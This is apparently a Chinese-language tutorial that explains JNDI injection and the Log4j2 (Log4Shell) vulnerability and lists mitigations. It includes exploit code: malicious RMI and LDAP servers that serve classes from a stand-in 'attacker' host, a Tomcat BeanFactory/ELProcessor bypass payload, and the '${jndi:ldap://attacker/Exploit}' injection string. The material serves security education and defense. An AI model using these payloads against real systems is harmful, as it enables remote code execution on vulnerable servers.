从JNDI到log4j2漏洞
字数 1499 2025-08-22 12:22:48
JNDI注入与Log4j2漏洞深入分析
1. JNDI基础概念
JNDI (Java Naming and Directory Interface)是Java命名和目录接口,主要功能包括:
- 命名服务:将友好名称映射到对象(如DNS将域名映射到IP地址)
- 目录服务:命名服务的扩展,将名称与对象关联并为对象添加属性
2. JNDI攻击原理
2.1 RMI攻击方式
攻击者可以搭建恶意RMI服务器,当客户端执行lookup()时会加载并执行恶意代码:
// 恶意服务器代码
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext ic = new InitialContext();
Reference ref = new Reference("EvilObj", "EvilObj", "http://127.0.0.1:8000");
ic.rebind("rmi://localhost:1099/EvilObj", ref);
// 恶意类
public class EvilObj extends UnicastRemoteObject implements ObjectFactory {
public EvilObj() throws RemoteException {
Runtime.getRuntime().exec("calc"); // 恶意代码
}
}
攻击流程:
- 客户端调用
lookup("rmi://attacker-server/EvilObj") - JNDI加载远程Reference
- 从指定codebase下载并实例化恶意类
- 执行构造函数中的恶意代码
2.2 LDAP攻击方式
在JDK 8u191之前,即使RMI被修复,LDAP方式仍可利用:
// LDAP服务器设置
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://attacker/EvilObj")));
3. JDK防御机制与绕过
3.1 JDK补丁机制
JDK 8u121/8u191引入以下防御:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
3.2 高版本绕过技术
3.2.1 Tomcat BeanFactory利用
利用Tomcat内置的BeanFactory和ELProcessor实现RCE:
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
攻击流程:
- 创建
ResourceRef指定ELProcessor类 - 通过
forceString设置方法调用 - 通过
faster设置要执行的EL表达式 - Tomcat的
BeanFactory会反射调用ELProcessor.eval()
3.2.2 反序列化利用
当无法远程加载类时,可通过LDAP传递序列化对象:
// 修改LDAP服务器返回序列化数据
e.addAttribute("javaSerializedData", serializedPayload);
4. Log4j2漏洞分析(CVE-2021-44228)
4.1 漏洞原理
Log4j2在2.0-beta9到2.15.0版本中存在JNDI注入:
logger.error("${jndi:ldap://attacker/Exploit}");
解析流程:
StrSubstitutor提取${}中的内容Interpolator解析:前的协议类型(如jndi、sys等)- 调用对应
Lookup实现类的lookup方法
4.2 其他Lookup的风险
除JNDI外,其他Lookup也存在信息泄露风险:
${sys:java.class.path} // 获取类路径
${env:USERNAME} // 获取环境变量
5. 防御措施
- 升级JDK:至少升级到8u191/11.0.1及以上版本
- 升级Log4j2:升级到2.15.0及以上版本
- 配置限制:
- 设置
log4j2.formatMsgNoLookups=true - 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
- 设置
- 输入过滤:对日志输出中的
${}进行过滤
6. 技术细节总结
- JNDI注入核心:通过可控的
lookup()参数加载恶意Reference - 高版本绕过关键:利用本地存在的危险类(如Tomcat的
BeanFactory) - Log4j2漏洞本质:日志消息中的Lookup解析导致JNDI注入
- 攻击演进:从直接RMI→LDAP→本地类利用→反序列化
附录:完整攻击代码示例
RMI服务器示例
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("EvilObj", "EvilObj", "http://attacker/");
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", wrapper);
LDAP服务器示例
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://attacker/EvilObj")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
Tomcat BeanFactory利用
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
以上内容涵盖了从基础原理到高级利用的完整知识链,关键点包括JNDI工作机制、不同JDK版本的绕过技术、Log4j2漏洞原理及防御措施。